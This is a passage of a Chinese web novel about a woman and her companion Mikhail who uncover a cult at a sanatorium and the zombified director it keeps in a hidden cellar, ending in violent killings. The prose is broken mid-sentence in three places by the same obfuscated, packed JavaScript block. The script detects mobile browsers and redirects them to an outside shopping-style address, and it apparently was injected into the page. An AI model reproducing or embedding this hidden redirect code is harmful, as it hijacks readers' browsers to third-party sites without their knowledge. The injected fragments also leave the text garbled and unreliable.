最新段落让白睨倒吸一口气。 [“愿默克尔特院长领我等走向新生。”*塔菈萨重复轻语,*“真心诚意。”] 23.惠特库姆疗养院(四) 剧情界面突然闪退,屏幕上一堆乱码搅动,角色头像被切割成微小拼图,碎裂在无意义的字符中,最终静止。 白睨惊讶,这种情况以前是从没出现过的。点击屏幕,但界面纹丝不动,她只能切出去清掉后台,重新进入PhantoChat。 角色列表出现一个新头像,死灰般的面庞、花白的头发、毫无生气的瞳孔——是默克尔特院长。 可白睨记得,PhantoChat之前无法记录已经变成丧尸的角色。 剧情记录很简单。 [*默克尔特静静地站着。*] [*默克尔特微微摇晃脑袋。*] [*默克尔特静静地站着。*] 关在笼子里的丧尸几乎没法显示任何有用信息,和养了个桌宠似的。 难道是游戏系统升级,以后可以显示丧尸的剧情了?又或者默克尔特这个角色有什么特殊意义,才需要在PhantoChat中单开聊天记录? 白睨正想着,余光里忽然出现一线白光,脚步声在门外响起又远去。 查看了塔菈萨的剧情,这才发现她已经离开了关押默克尔特的房间。白睨倒是想知道如何进入那个房间,但系统bug刚好卡掉那一段记录,白睨只能看到她是从餐厅离开的。如果她想现在去餐厅探查,就得向米哈伊尔透露默克尔特的信息。 那个棘手的问题再次摆在她面前。 手机里,塔拉萨的剧情继续更新。 [*塔拉萨走上楼梯,注意到手电筒的光有点暗淡,顺手摇了几圈把柄,给手电筒充上新电,黑暗中的白光扩大一圈。*] 正当白睨以为她要继续上三楼回到房间时,却见她踏入二楼的走廊,顿感不妙。 [*光圈随着她的步伐微微摇摆,向走廊最深处探去。她放轻脚步,皮鞋踩在地面上,几乎没发出声响。*] 白睨的心一下子跳到嗓子眼! 难不成她要去检查他们的房间? 糟糕,他们没有钥匙,现在房门是未锁的状态,塔菈萨只要开门把就会发现房间里没有人—— [*塔菈萨来到最里面那扇房门前,把耳朵贴在门框上,继而将手放在门把上,收着力轻轻一转。*] 气息一颤。 [“喀。”*塔菈萨的手往前推动,门没有开。她收回手,转身上楼。*] 白睨保持着屏息凝神、大睁眼睛的状态,一时不敢松气。 门锁住了?可他们没有反锁,怎么会—— 米哈伊尔蹲在门前的画面在她脑海中闪过。 难道是米哈伊尔对门锁做了手脚? 除此之外她想不到其它原因。大概率是的,他会开锁,自然也会上锁,还好他提前想到这一步,否则二人现在已经暴露了。 话说回来……他现在是不是太安静了? 终于想起安静了好一阵子的米哈伊尔,白睨轻戳前方,指尖抵上紧绷的温度。 影子一动,声音低沉传来: “干嘛。” ……不知是不是错觉,总觉得听出了一丝冷淡。 没法,白睨只能硬着头皮道,“我们去门口看看吧。” · 毛巾覆在面上,按压着,热气一丝丝渗透毛孔。身边脚步来来回回,水龙头被打开时的闷响、水流清脆的疏疏声、积水沿着圆口滑落的淅淅沥沥声,在黑暗中交织靠拢。 白睨放下毛巾,睁眼。身边的安刚好端着杯子离开,其他人都忙着刷牙和洗脸。 早晨有陌生人在旁边一起洗漱的感觉很微妙。她收拾好疗养院给备的用具,偷偷打量其他幸存者。他们对塔菈萨在做的事了解多少?知道默克尔特院长变成了丧尸并被囚禁在密室里吗? 昨夜他们探查了大门,发现夜晚就会被锁上。开锁倒不是难事,她更在意那间囚禁丧尸的密室在哪里,决定今天工作时偷偷调查一下餐厅,和三楼默克尔特的办公室。 退到拐角隐蔽处,她拿出手机进入PhantoChat。 昨夜回房时,米哈伊尔又一次蹲下鼓捣,白睨看清他手中的是一枚曲别针。以往这种时候,她都该夸赞或调侃对方准备周全,但当晚氛围尴尬,她不敢多说,二人沉默地上床睡了。 等她被闹钟声吵醒时,米哈伊尔已不在房间,只在桌上留下一张“巡逻去了”的字条。 此时PhantoChat里,主剧情页面话分两头,队伍正在疗养院附近巡逻,其他人都拿着锄头铁铲,只有米哈伊尔一人手持钢制狼牙棒沉默地跟在后头,不时将尖牙贴在树上,像磨刀般慢慢切磨树皮,引得其他人各个头皮发麻。 白睨同样头皮发麻,觉得狼牙棒不是在磨树皮,是在磨她脖子。 不知对方现在怀疑到什么程度……会不会之前已经偶然看到了PhantoChat的界面? 要么干脆告诉他,她收到神明下派的任务要拯救人间,因此获得用手机洞悉他人的能力…… 叹气。 暂时把这不甚靠谱的想法抛之脑后,白睨离开公共浴室,前往一楼后厨。 光头保尔正弯着腰洗土豆,灰黄色的块茎都长了绿芽,无一幸免。他把一筐湿漉漉的土豆往门口方向一推,“削皮。”语气像是发号施令。 白睨也不多废话,拉来凳子,拿起桌上的削皮刀。先用刀锋把冒芽处一块块挑掉,然后转动土豆削下一圈皮。她削一颗丢一颗,动作虽不专业,但不算慢。大概削了十几颗后,她感到手腕发酸,握着削皮刀转了转腕子。保尔一直偷偷瞟她,终于等到这一刻: “看起来能干活,但不够利索。”他已经洗好了土豆,却只站着说话,“在我们这儿,每个人都得发挥自己的作用。你想留下来获得认可,就得学会像样地干活,不管你是谁。” 听着这番说教,白睨忍着没翻白眼,却也铺捉到怪异一点:为什么无论是他还是威廉,都强调“每个人的工作”? “获得谁的认可?” “神的认可。”保尔语气傲慢,像在回答一个理所当然的问题,“你做什么、怎么做、做得好不好,神都看在眼里。” “这……你说得有道理。”白睨顺着他的话,又抛出问题,“但你说的这个神是哪位神明?” “当然是无上伟大的创世神。”光头男人冷哼一声,“我知道你们这些外来人不信我们信的神,因为你们不知道,早末日发生之前默克尔特院长就收到过神的启示,这个世界会因为人类太贪心、太愚蠢,被祂彻底放弃,最后走向毁灭!” 削好最后一颗土豆,丢入筐中,她状似随意地拿抹布擦手,“既然神放弃了人类,为什么我们还要获得它的认可呢?反正世界终将毁灭,我们如何生活,做的好与坏,又有什么意义?” “浑浑噩噩过活的人最后都会沦为行尸走肉。只有每天精进、自我完善,成为真正的‘全人’,才能通过神的考验,踏入真域,获得永恒的资格,成为神的使者。” 保尔一反粗野的口气,说出一长串深奥的话语。但白睨觉得他大概只是在复述默克尔特或塔菈萨的台词。 光头男人把筐搬到台面上,大锅里沸水翻腾,一如他炽热、发狠的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837092|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,“你真是愚昧得要命,我看主任根本就认错人……” “认错人?” 她的问题没有得到回答。保尔像被哪根绳子勒住似的,谈话戛然而止。白睨只能在心里琢磨,这大概与塔菈萨说的“神赐予的馈赠”有关。 继续追问容易打草惊蛇,还是忍到等午休吧,看默克尔特的办公室里有没有更多线索。 · 食材只有三样,就算厨神下凡也不能做出花来。何况以疗养院众人“乐于吃苦”的性格,他们肯定不愿意雕花,每顿做的都是糊糊。 早饭时白睨忙于打饭,只和米哈伊尔匆匆打了个照面。中午轮到保尔掌勺,她这才腾出空隙,端着自己的餐盘走到米哈伊尔的桌子。 原本看他的背影只是在慢吞吞地吃饭,白睨刚一坐下,米哈伊尔舀勺子的动作突然加快,像切换到高速档的机器人,但还是没抬头。 心知二人不能继续冷战下去,将“末日开局,我获得了金手指”这半真半假的“坦白”在心里过一遍草稿,深呼吸后,她转向米哈伊尔: “那个,关于我的手机——” “啪!” 勺子磕在餐盘上,脆音突兀。白睨止住话语,却撞上米哈伊尔的目光——直接、迅速,仿佛早已在等她开口。 “如果你还不想说,就先别说。”他终于说话了,除了带有一丝郁闷,语气与平日无异。 白睨眨眨眼,对他的反应始料未及。 “……哦,好。那……早上的工作怎样?” 米哈伊尔一扬眉,像被噎住了。 “……你还真一点都不打算说啊?” 他盯着她,语气里带着几分不可置信,同样准备了半天的腹稿,一瞬间全部失去用武之地。 “你不是说先别说吗?” 米哈伊尔深深吸一口气,又被自己的气呛到,“咳、咳咳——你故意装傻,是吗?” 白睨无法否认,只能心虚地移开眼。 男人终于平复气息,一手抵住额头,“行吧,你这么不愿意说,我也不该打听。” ……打听? 好像没什么问题,但有感觉哪里怪怪的,白睨说不上来。 “我对你很信任。”灰蓝的瞳孔在眼角驻留,偏向她这边,“我不觉得那有什么不可直说的,但也许你认为我们还没熟悉到那个程度,所以不愿多说。”声音低下去,“我理解。” 眉头拧成小结,白睨直直盯着他,大脑努力地处理信息。 “等哪天你愿意说了再说吧。这种时候,别因为那种小事让我们之间变得别扭。” 别因为这种小事变得别扭。 这正是白睨想听到的,尽管她不觉得那算是小事,但这个微小的细节被她省略过去。 “嗯,你说得对。”她放低声音,顺着他的话往下接,“现在这种环境,确实没必要闹不愉快。” 她顿了顿,偏开视线,“我不是不想说,只是……我也不知道怎么讲起。” 米哈伊尔终于正面转向她,静静地听她说。 白睨努力让自己的表情看起来自然些,“等我理清楚了,再告诉你。” 或许有一天她能完全信任米哈伊尔,又或许某一天,事情会发展到无法遮掩的地步。 无论是哪一种,现在都不是最好的时机。今天,她要处理的事情已经够多了。 “好。”米哈伊尔点头,缓缓直起身,像是终于把那口压着的气吐出来了,“我等那一天。” “先不说这个,”白睨压低声音,“时间紧,我想请你帮个忙。” 24.惠特库姆疗养院(五) 米哈伊尔靠着门板坐着,一手托下巴,一手搭在腿上,嘴里咬着根草。他身形高大,来疗养院后又很少说话,其他人望见这一幕都不敢上前询问,匆匆躲回自己房间。 男人下齿慢慢磨着草茎,草叶无助地在空中一晃一晃。青绿忽然抹到一白色身影上,米哈伊尔歪头往上看,金发女人略微俯身,眉腰因关切上扬,“索罗金先生,您为什么坐在房门口?” 上钩了。 · 轻收门把,锁舌一点点扣进板孔——“喀”。白睨从鼻子缓出一息,终于转过身来,打量起这个办公室。 这里似乎很久没人来过,家具、地面落了厚厚一层灰,她不敢乱摸,小心地绕到书桌后面。桌子上只有几样物件,名牌、相框、笔筒、水杯,看起来平平无奇。背面则是摆满书的架子,白睨粗略扫了一眼:《行为修正与群体管理》、《团体治疗与行为干预手册》、《仪式与意识:从宗教到心理学的边界》、《全人格论:走向完美的自我》、《旧约新述》、《被选中的人》…… 多亏院长喜爱整洁的好品质,书籍种类呈区域性规则排列,从正常到不正常的过渡很明显。 白睨想找默克尔特的工作记录或者管理手册,看看这个疗养院究竟在搞什么名堂。尽管书柜上没有类似的文件,她还是挑了几本标题与保尔说漏嘴的关键词符合的书籍。《全人格论》中画着不少笔迹,可在她看来,那些段落毫无营养,诸如“必须剥落人格的杂质,才能完善自我”、“全人格的形成需要经过训练”、“痛苦是人格不全造成,拥有全人格才能摆脱庸俗之苦”云云;但另一本《被选中的人》问题可就大了,竟将人格与信仰挂钩,认为神会用苦难筛“全人”并赐予神使的身份。 合上一看,封面赫然写着“默克尔特”的名字。 那没事了。 白睨小心翼翼把书放回原本位置,转过身,目光重新回到书桌上,但这次是抽屉。 抽屉里面稍显凌乱,笔、便签、夹子等小物件绕着文件夹堆在空隙,她拍下照片方便归位,再把文件夹拿出来。这里面倒是有些东西,记着疗养院客户的个人信息,有长期露宿街头的成瘾者、高功能社恐患者、有严重宗教创伤的信徒,等等。她翻到保尔那一页,记录显示他曾经是厨务助理,有酒精依赖史,曾多次因斗殴被拘留,入院后没有亲属探望记录。 ……她这才对自己误入了什么地方有了清晰的认知。 但如果这个疗养所一直在接收所谓“非全人”,为何将她与米哈伊尔成为“神的馈赠”呢?难不成塔菈萨一眼认出了他们是“全人”? 那塔菈萨确实看走了眼,她其实是个好吃懒做、游手好闲、自私自利的冷酷女人。 白睨哼哼两声,正准备把文件放回去,一眼看见抽屉里还有一本薄册。她抽出册子随手一翻,忽然愣住了。 · “……所以,我可能确实猜疑心重吧。她让我滚出来,说要午睡了,不想看到我。” 那根草经他一番揉捏缠绕,变成细绳随意地圈在手指上。米哈伊尔终于停下滔滔不绝的“抱怨”,看塔菈萨如何作答。 原本面上带着和煦微笑的塔菈萨,早在这长篇的“相遇瞬间——暧昧相处——恋爱心得——情侣吵架”的故事中变得眼神空洞,灵魂出窍。米哈伊尔面上不显,心里憋着好笑,不枉他过去几年锻炼的口舌功夫,才可以硬把她一直拖在这里。 塔菈萨此刻只能机械性地点头、应声,靠信仰维持着最后一丝精力。 米哈伊尔速瞄一眼表盘,时间已过去半个多小时。白睨把自己的手表给他了,此刻他的手腕上正带着一条细皮带石英表,款式精致秀气,与他的气质完全不搭。心想她可能还要一会儿,正琢磨让塔菈萨教给他一些“安抚伴侣的办法”,余光瞥见主楼梯上探出一脑袋,心领神会,“感谢你听我讲了这么多,主任。” “嗯——当然,有需要随时来找我!”金发女人像突然从梦中惊醒,连忙后退半步,脸上挂起僵硬的微笑,“抱歉,我突然想起下午的工作还没安排,需要先走一步了。希望你们……很快就能冰释前嫌。” 把最后一句话推出去,她快步撤离,“蹬蹬蹬”踩着台阶消失在侧楼梯上。 走廊终于安静。一个身影钻出拐角,轻而快地跑向这里。米哈伊尔推开房门,侧身让出位置,等她刚窜进来,便顺势将门合上反锁。 “有找到什么吗?”他压低声音,看了眼手表,还有十分钟就要出门巡逻了。 白睨点点头,打开手机相册,递到他面前,“你看。” 册子很薄,几张打印纸用铁夹夹住,首页空白,但后面每一页都写了字。 第一页是默克尔特对信仰的阐释,依然是“全人格”、“创世神”等字眼,结尾对信徒的号召意味着这册子大概人手一份;第二页,是关于某个仪式的计划: [……末日果如神启降临……已为全人……聆听感召……愿以此身赴神之考验……血肉为祭,得永恒躯体与世外真知……] 何为考验,十分明显了。 默克尔特自认为是全人,只要让丧尸咬上一口,就能证道成为进阶版丧尸——不腐烂的躯壳,还有神赐的智慧。 结果,就像剧情记录里显示的那样,失败了。 第三页又是一堆神叨叨的话,充满对创世神的溜须拍马。不过白睨注意到其中一段提到,他们受神的启发,建造了一个处于“空的时间”中的密室。她紧锁眉头,盯着“NULL”这个词,疯狂头脑风暴。“空的时间”是什么意思?难道这个密室是个不存在的密室?时间静止的密室?空心的密室?悬空的密室? 二人讨论了几句,没有结果,米哈伊尔不耐地抓抓头发,“要不干脆别管这么多了,晚上我们直接收拾东西走人。就算外面有人巡逻也拦不下我们。” 白睨摇头,“我还是想去调查一下。”说着,她翻到末页。末页原本是空白页,但在中央写了几个潦草的连笔字词,像有人在突发情况下写的。 [黑色短发黄皮肤女 男 院长未完全成功看 神使来] “不觉得这太凑巧了吗?”她沉声道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844755|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管怎样,我想去见一面那所谓的神使候选人。” 不得不说,看到这行字后她有些动摇了。难道默克尔特真的具有某种能力?他会不会也是穿越者? 即便已经丧尸化,他还是出现在角色列表里,意味着他或许还可以交流。 米哈伊尔抬起手腕,已经到集合时间了,“行吧,晚上再说,我先走了。该死的,多留一天我就得跟着那群人巡逻。”稍一停顿,“不要独自行动,找密室可以等到晚上。” “嗯……”白睨点头,“外出小心。” 那个密室真的在餐厅么?她观察了一个早上,还是没在后厨和餐厅找到类似机关的东西。 NULL……NULL…… 看着米哈伊尔匆匆离开,他的手腕一晃,金属表壳的光在门口划过。 一个念头在白睨脑海中如火花迸发。 难道是那个? · 白睨端着餐盘坐下,桌边的米哈伊尔和威廉都已经吃完。她机械地扒拉两口豆子糊,依然食之无味,却也可以接受了。 糊糊还是那个黄绿软烂的糊糊,第一次是勉强咽下,第二次满心厌弃,第三次、第四次……便开始习惯。再吃下去,也许她真会逐渐接受这里的人对食物的标准,放弃香草、野味和任何“想做点别的”的欲望。 人就是如此适应力强大的生物。 差不多是白睨刚咽下最后一口,餐厅的氛围就变了。她抬起眼皮,果不其然,塔菈萨站在窗口前面,双手交叠。 “感恩神……” 白睨低头静静听着,双手搭在膝盖上。 “……感恩神把新的伙伴带到我们当中……白,索罗金先生,愿你们听见神的感召,在动荡中找到正确的道路。” 今天似乎不太一样。塔菈萨微微张开双臂,望向他们,形如邀请: “若你们愿意,请与我们一同前行,真心诚意地追随神之旨意,见证人类新生。” 话音落下的瞬间,十几道目光齐刷刷地聚焦在他们身上。怀疑、炙热、毫无波澜,各异眼神一同将他们抬到集会的中心。 不是中心人物,是中心那只被烤的鸭子。用无形的压力逼迫他们做出选择。 “……嗯。”和米哈伊尔对视一眼,白睨点点头,敷衍过去。 塔菈萨长舒一口气,眉眼间浮现柔和笑意,“感谢白与索罗金先生。明晚我们将为二位举办正式的入会仪式,以感恩神的眷顾与指引。” 随这群人要搞什么东西,他们今晚可就要跑路了。 白睨暗自想着,面上不显,只平静地望着窗口前的塔菈萨——准确来说,用余光注意着她头顶的电子显示屏。 身边的人群还在祷告,声音低沉整齐,一阵一阵,仿佛黑夜的安眠曲。 终于,那个红色数字动了。 20:01。 “““真心诚意——””” 时间在片刻沉寂后再次流动。 白睨眨眨眼睛,收回视线,掩去眼底一丝凌厉与自信。 她有把握进入那间密室了。 25.惠特库姆疗养院(六) 两个人影从拱形门洞摸进餐厅,夜光从窗外透进,薄薄地依附在灰白的瓷砖地上。凉意不知从何而来,或许自空旷寂静的空气而生,又或许是从冰冷的金属厨具与玻璃钢板渗出。所有都是静止的死物,只有鲜红的数字在墙上闪烁。 02:56 出门前白睨瞄过一眼PhantoChat,确定塔菈萨已经上床睡觉。她和米哈伊尔背着包,准备一确认完密室的情况就下山。 伸手摸进口袋,手指碰到一柄薄细的金属。 晚饭后她刚准备起身,口袋里就被塞了一团纸。见威廉低头端着餐具离开,白睨没有出声,一直等到清点仓库的时候,才躲在货架后打开被揉皱的纸。里面塞了一把钥匙,纸上写着: [明天他们要把你们献祭给院长。今晚逃走,去后院找我,我可以解释。] 威廉不知道他们已有逃跑计划,也不知道他们自己能开锁。尽管如此,她不禁心里一暖,决定出门后与他见一面。 黑暗里,米哈伊尔转头看她,灰蓝色的眼睛格外明亮。白睨没有出声,静悄悄地走到窗口前,对着电子显示屏打开手电,仔细端详。 这个显示屏看起来很普通,黑色金属方壳,黑色面板,唯一显示的内容只有时间。 奇怪之处就在于时间。 晚饭时白睨确认过,显示屏的数字会在19:59停留很久,然后直接切换成20:01;晚饭后她留下来洗碗和打扫后厨,磨磨蹭蹭到将近九点,借口去餐厅找东西,又看到显示屏从20:59跳到21:01。 她环顾四周,果然在墙角柜子旁找到了她认为该有的东西。 拿起扫帚,白睨将棍体拆下来握在手里,迎着米哈伊尔的目光走到显示屏下方。红字微微闪烁,变成02:59,她立刻打开手机的时钟,紧盯自己屏幕上的数字。 4、5、6……57、58、59—— 六十秒后,电子时钟的分针终于移动一格!二人一齐望向头顶的电子屏幕,数字仍静止在02:59。白睨立刻伸出棍子,去戳显示屏侧面的隐秘按键——她在餐厅里发现板侧有一个可疑的凸起。 可一举手,白睨就发现不对了。她的身高比塔菈萨矮太多,棍子戳不到那个地方。好在米哈伊尔顺手接过,轻轻一伸,棍子顶端正好按在那个按键上。 一瞬间,白睨听到一阵异响,震动从脚底传来。 一大片瓷砖缓慢下沉,随后像嘴一般慢慢张开,露出黑魆魆的走道,一股寒气顺着台阶爬上来。 找到密室了。 白睨按捺着激动的心情,把手电对准里面准备走下去,一只大手忽然挡在她前面。 “我先下。”米哈伊尔低声道,拿走她的手机,她来不及阻止,眼睁睁看着米哈伊尔握着狼牙棒和手电,一马当先踏上阶梯。 虽然她很感谢米哈伊尔的舍己为人,但是手机被他拿走她真的很慌! 只能在心里默默祈祷PhantoChat不要来消息,白睨跟在他后面走下来。几乎是她刚下来,瓷砖地面就缓缓合上,差点打到她脑袋。 封闭的地下室没有一点光源,全靠米哈伊尔手里的手电光探路。好在楼梯不是很长,一路向下,他们很快抵达平地。 白睨马上感觉到,这房间里有东西。 她没有听到任何声响,却有强烈的被注视的感觉,仿佛黑暗中有道冰冷的视线死死锁定在她身上,寒气如蚂蚁从脚底爬上后脑,留了一路鸡皮疙瘩。 米哈伊尔站在原地,用手机光左右扫着。 白光一晃,映出一张人脸。 一张苍白无血的脸就在离他们三米远的距离,嘴唇乌青,暗青色经脉爬上太阳穴,灰白的瞳孔里布满血丝。浑浊的眼珠盯着两个人,喉骨碰撞摩擦,“咔咔,咔咔……” 他们终于见到默克尔特院长,却和肖像画上的模样天差地别。 不知是否因为在笼子关的太久,丧尸并没有表现出攻击倾向。白睨走上前,站定于距离笼子一米处,直直面对它,总觉得有些奇怪。 “默克尔特。”她说出对方的名字。 丧尸没有任何回应,只是与她面面相觑。 白睨取回手机,打开那张写了字的照片,“你知道我吗?你看到了什么?” 嘴巴依然保持微张,一丝黑色粘液从嘴角挂下,“咔咔……” 她皱起眉头,感觉它确实无法交流。 难道是自己搞错了? 背后忽然一亮,白睨猛地转过身,发现是米哈伊尔用打火机点燃了桌上的蜡烛。室内顿时明亮了不少,更多物件暴露在视线里。 “白,”米哈伊尔从桌下拿起一个东西,面露惊喜,“你看这个。” 打开开关,手电筒射出光亮,他迅速摇了几圈手把,光线随即变得更加明亮与稳定。“是手摇式充电手电筒。” 白睨记起塔菈萨在剧情记录里确实用过手摇手电,桌子下有不少,看来是在密室里备了一堆。他们正缺手电,“拿走几个吧。” 其实不用她说,米哈伊尔已经打开背包往里面装了两个,手上又拿两个,好像刚从市场批发来了。 白睨总觉得有道视线钉在她后脑,一回头,默克尔特还盯着她,两颗眼珠像摄像镜头随着她移动。 她终于发觉是哪里不对劲了。虽然默克尔特的身体呈现明显的死亡迹象,却没有丝毫腐烂的痕迹。不少丧尸眼部完全坏死呈现黑色,而默克尔特没有臭味,没有溃烂,只是皮肤和眼球白了点。 要么他刚死不久,要么…… 白睨心生寒意。 难道他真的成功了?虽然不是真正意义上的永生…… 突然感受到手机在口袋里震动,她知道是PhantoChat更新了,但现在米哈伊尔正盯着自己,不好光明正大取出手机。她定了定神,心想既然已经有了收获,或许是时候离开了。 可下一秒,异象陡生! 只见默克尔特在她面前以肉眼可见的速度迅速腐烂,皮肤塌陷面颊凹陷,一道道皱纹膨胀开来,鼻尖软了下去,仿佛内部的软骨正在融化,眼睛周围黑斑浮起,腐败沿着血管迅速扩散。 丧尸剧烈地摇晃折叠,发出可怖的骨头移位声,随后突然往前一扑,身子撞在笼子上发出巨响,“砰!”默克尔特,或者说完全丧尸化的默克尔特,嘴巴大张几乎撕裂,冲着二人咆哮。 白睨踉跄一步,惊道:“走!” 他们一人一个手电筒沿着原路返回,按下出口的机关,瓷砖板缓缓让路。地下室被关闭的那一刻,丧尸咆哮声被完全阻隔,他们又回到寂静昏暗的餐厅。 喘息着,白睨顾不上更多,从口袋里掏出手机准备查看默克尔特的消息,在打开角色列表后却愣住了。 原本放着默克尔特头像的位置一片漆黑,名字[Merkelt]变成了[NULL]。 点进黑色头像,之前的记录全部消失不见,反光的手机屏幕上只有她自己的脸。 这是什么意思? 白睨下拉刷新,界面没变。 “这时候就别看手机了。”米哈伊尔突然拉起她,“走了。” 赶紧收回手机,脑海中仍残留着黑色头像的画面,她的腿自主朝着拱形门洞迈去。 虽然不清楚究竟发生了什么,但此时先出去要紧。这个特殊角色档案一定是有用的,只是暂时没找到使用的办法。 正想着,她一脚踏出门洞。 一股强力猛地缠住她的脖子,像铁钳般把她整个人往墙边拖去,力道大到把喉咙里的空气挤出去,白睨双脚几乎悬空,被牢牢锢住。 “白!” 白睨喘不上气,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852322|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能用力扒着那条肌肉鼓起的手臂,勉强转动脑袋。低沉但熟悉的声音从头顶响起,“别动!只要我一动手臂,这小妞的脖子就会折成两段。” 是保尔的声音。 眼角处,一个白色身影缓缓而出。 塔菈萨双手交叠,神情平静如常,眼神却透出一丝阴冷,“你们今晚不该进入那里的。” 白睨绷紧脚背,用趾尖顶着地面,终于喘上几口气。 怎么可能?他们怎么会发现自己的行动?明明塔菈萨的剧情记录里没有任何异常! 纷杂的脚步声响起,黑压压的人群把米哈伊尔团团围住,白睨才发现几乎所有年轻幸存者都在这里。米哈伊尔脸色阴沉,见有人靠近,怒目瞪去,手握狼牙棒一指,无声喝退两个年轻人。 “我们就是……偶然发现,下去看看。”手指嵌入那条铁箍般的手臂,白睨勉强从喉咙挤出几个字眼。 金发女人微微侧头,余光后斜,“为什么您要去院长的办公室呢?” …… 白睨和米哈伊尔同时愣住了。她怎么会知道? 这时,一个低弱的声音从塔菈萨身边响起,“对,我看见了……” 安,手里拿着一把菜刀,颤抖道:“我看见白上楼去了办公室,很可疑。我睡不着,晚上一直留着门,就看到你们走出来……” 该死的。 人倒霉起来喝凉水都塞牙,白睨现在体会到了。 这个视角和时间怎么能卡得这么好? “现在,”塔菈萨一只手搭在保尔手臂上,语气平静,“既然你们已经知道了院长的存在,便该遵守承诺,遵循神的旨意,助默克尔特院长踏入真正的全人境界。” 你们的院长烂了啊!烂在地下室了! “他要成为全人还是残人,和我们有什么关系?”米哈伊尔冷冷道。 “默克尔特院长在仪式后曾短暂恢复过神智,他将神谕托付于我,将有一女一男受召而来。”塔菈萨垂眼看向白睨,语气温柔而怜悯:“你们似乎还不了解自己的使命。但没关系,我会引领你们奉上血肉,协助默克尔特院长完成真正的蜕变,成为完满的全人。届时,他将引领我们前往神的身边。” 完、全、理、解、错、了! 傻*!白睨暗骂他们朝菌不知晦朔蟪蛄不知春秋,这个世界的真相荒谬得可笑,什么永恒的躯体和思维,等她死了这群电子生物都得玩完! 粗壮的手臂突然收紧挤压喉管,白睨想咳咳不出,脸憋得通红。 保尔那张被手电照亮的侧脸满是狞恶,“哈,”他嗓子里溢出一声压抑不住的低笑,手臂的肌肉又鼓起一分,像对米哈伊尔示威,“你先下去,不然我可保不准她会断哪根骨头。” 米哈伊尔垂着手默不作声,半张脸被阴影掩去。见他没有动作,塔菈萨使了个眼神,几个人握着工具朝他靠近。 白睨急了,张嘴对保尔的手臂来了一口!如果唯一战斗力也被约束,那他们真就逃不了了! “啊!”一声痛呼夹杂着怒气,“F***,你这——” “噗。” 闷沉、湿润,锐物穿透肉/体的声音。她的鼻子里飘进淡淡的锈味。 世界像被人粗暴按下暂停键,空气里的声音瞬间被真空抽离,只剩下鼓膜深处被平静拉长的警报声。 压在颈侧的手臂猛地一松—— “砰!” 光头男人倒在地上,一动不动,一丝怒气凝固在眼中。他的眉心绽开一抹鲜红,沿着鼻梁汩汩流下。 所有人僵定原地。 米哈伊尔手持夜蝰蛇,一缕气丝从消音枪管散尽,双眸里只有陌生的狠戾。 “下次记得做好背调。”食指搭在扳机上,他微移手腕,枪洞锁定塔菈萨的额头。 “如果还有下次的话。” 26.惠特库姆疗养院(七) 白睨记得弹匣里一共有五发子弹。 在公寓楼用掉一颗,刚才用掉一颗,就只剩下三颗了。 把子弹用在这里是浪费。白睨预感米哈伊尔不会接着开枪,只是为了恐吓这群人,趁着他们愣神的功夫,她偷偷往旁边挪了两步。 然而。 “把他们送去地下室,”塔菈萨神情坦然,“如果有人倒下,只是先一步去到神的身边。” 塔菈萨在疗养院的权威毋庸置疑,刚一声令下,几个工具迅速靠近米哈伊尔,米哈伊尔头都没转,侧身躲开背后来袭的铁锹,抓住挡在前面那人的胳膊,像抛麻袋似的将其悬空后甩,正好砸在偷袭者身上。 安伸手抓向白睨,虽赤手空拳对上菜刀,白睨丝毫不慌,依着记忆里习得的招式,脚尖点地顺势一沉,躲开抓来的手与菜刀。下一秒,她的腿像甩鞭子一样横扫出去,精准踢中安的脚踝,女孩一下失去平衡,砰地全身扑倒。 她迅速俯身捡菜刀,头发突然被揪住,连带整个人向后仰去。塔菈萨苍白的面上溅了两滴血,顺着面颊细细流下,与她眼中的癫狂相衬,“履行你们的——” 白睨反手钳住她的双手,猛地压身一旋,抓其手腕强行交叉相扣,塔菈萨吃痛失力,趁此机会她抬起一脚踹向膝侧,终于迫使对方松手。 塔菈萨摔倒在地,手边正好是那把菜刀,眼中寒光一闪,扣住刀柄要撑地起身。然而一大片残影猝尔扫来,她先是颈侧一冰,随即而来是巨大的冲击和剧痛,“喀拉”一声上身被颈部翻转半圈,躺倒在地。 白睨握着地上的扫帚棍,喘着气,捡起地上的菜刀。 (“攻击。” 米哈伊尔站在丧尸身上,一锅砸在前额, “补刀。”) (“按照这个步骤来,知道吗?”) 她拿着菜刀走过去。手电筒掉在后面投出一束光,阴影笼罩在地上。 白睨蹲下,把刀锋贴在塔菈萨脖子上,女子嘴唇微微蠕动,眼里终于浮现一丝恐惧。 刀刃一划,血花飞溅。 嗡嗡。 口袋的手机再次震动,她没有拿出来看,血正顺着手背一滴滴往下落。 